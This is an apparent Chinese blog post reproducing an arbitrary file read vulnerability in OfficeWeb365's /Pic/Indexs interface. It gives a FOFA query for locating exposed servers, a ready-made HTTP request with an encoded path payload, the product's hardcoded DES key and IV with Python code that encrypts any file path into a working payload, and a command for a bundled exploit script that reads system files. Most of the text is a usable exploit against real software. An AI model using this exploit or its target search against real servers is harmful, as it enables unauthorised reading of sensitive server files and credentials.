officeWeb365 Indexs接口存在任意文件读取漏洞复现

OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务,包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览,WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞,攻击者可通过独特的加密方式对payload进行加密,读取任意文件,获取服务器敏感信息。

1.漏洞级别

高危

2.漏洞搜索

fofa

body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365" 

3.漏洞复现

3.1 简单复现

构造请求包

GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

如果漏洞存在即可成功返回数据

其中DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09的值为/.../.../Windows/win.ini,如果需要读取其他文件则需要根据路径生成编码。

这里提供一个python环境下的生成函数,可以根据需要将制定路径生成为DES编码。

python 复制代码
#需要安装加解密库 pip install pycryptodome
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
import base64
 
 # 密钥和初始向量
Keys = bytes([102, 16, 93, 156, 78, 4, 218, 32])
Iv = bytes([55, 103, 246, 79, 36, 99, 167, 3])

def encrypt_des(plaintext, key, iv):
    cipher = DES.new(key, DES.MODE_CBC, iv)
    padded_plaintext = pad(plaintext.encode('utf-8'), DES.block_size)
    ciphertext = cipher.encrypt(padded_plaintext)
    return base64.b64encode(ciphertext).decode('utf-8')

# 明文
plaintext = "C:\\windows\\win.ini" 
# 加密
ciphertext = encrypt_des(plaintext, Keys, Iv)
print("加密后的密文:", ciphertext+"09")

将文件C:\windows\win.ini 加密后生成的密文U4MXvYDVuVrybiwjpvXs7R2FZA8nRywM09 带入为imgs的值。可以看到成功获取到文件的内容。

3.2 快捷利用

网上该漏洞很多复现都只简单复现了漏洞,并没有提供获取任意文件的方法,本文提供一个脚本,你可以自行选择文件的地址。

执行

python3 office_web365_index_fileread.py  -u url -f c:/windows/system.ini

可以看到成功输出。
注:这里的路径可以使用绝对路径或者相关路径,都是可以的。

文件地址随着文章附赠上了,你也可以在github上搜索同名文档。
感谢阅读,如果有问题,欢迎随时沟通~

相关推荐
baozongwi1 小时前
CTF常用sql注入(一)联合注入和宽字节
数据库·sql·web安全
是小王同学啊~1 小时前
防止跨站脚本攻击XSS之Antisamy
web安全·xss
秦矜1 小时前
网络安全技术报告
网络·安全·web安全
未知百分百2 小时前
Django任意URL跳转漏洞(CVE-2018-14574)
后端·python·安全·web安全·网络安全·django·shell
Canon_YK4 小时前
超级加密狗——CBS(赛博锁)
服务器·网络·安全·web安全·网络安全
baozongwi4 小时前
ctfshow web sql注入 web242--web249
android·数据库·经验分享·sql·mysql·web安全
kali-Myon14 小时前
基于Cardinal的AWD攻防平台搭建与使用以及基于docker的题目环境部署
运维·学习·mysql·web安全·docker·容器·awd
Coremail邮件安全18 小时前
聚焦 HW 行动,构筑重保邮件安全防线
web安全·网络安全·邮件安全·攻防演练·重保行动
鲨鱼辣椒丶D1 天前
「漏洞复现」时空智友ERP系统updater.uploadStudioFile 任意文件上传漏洞
web安全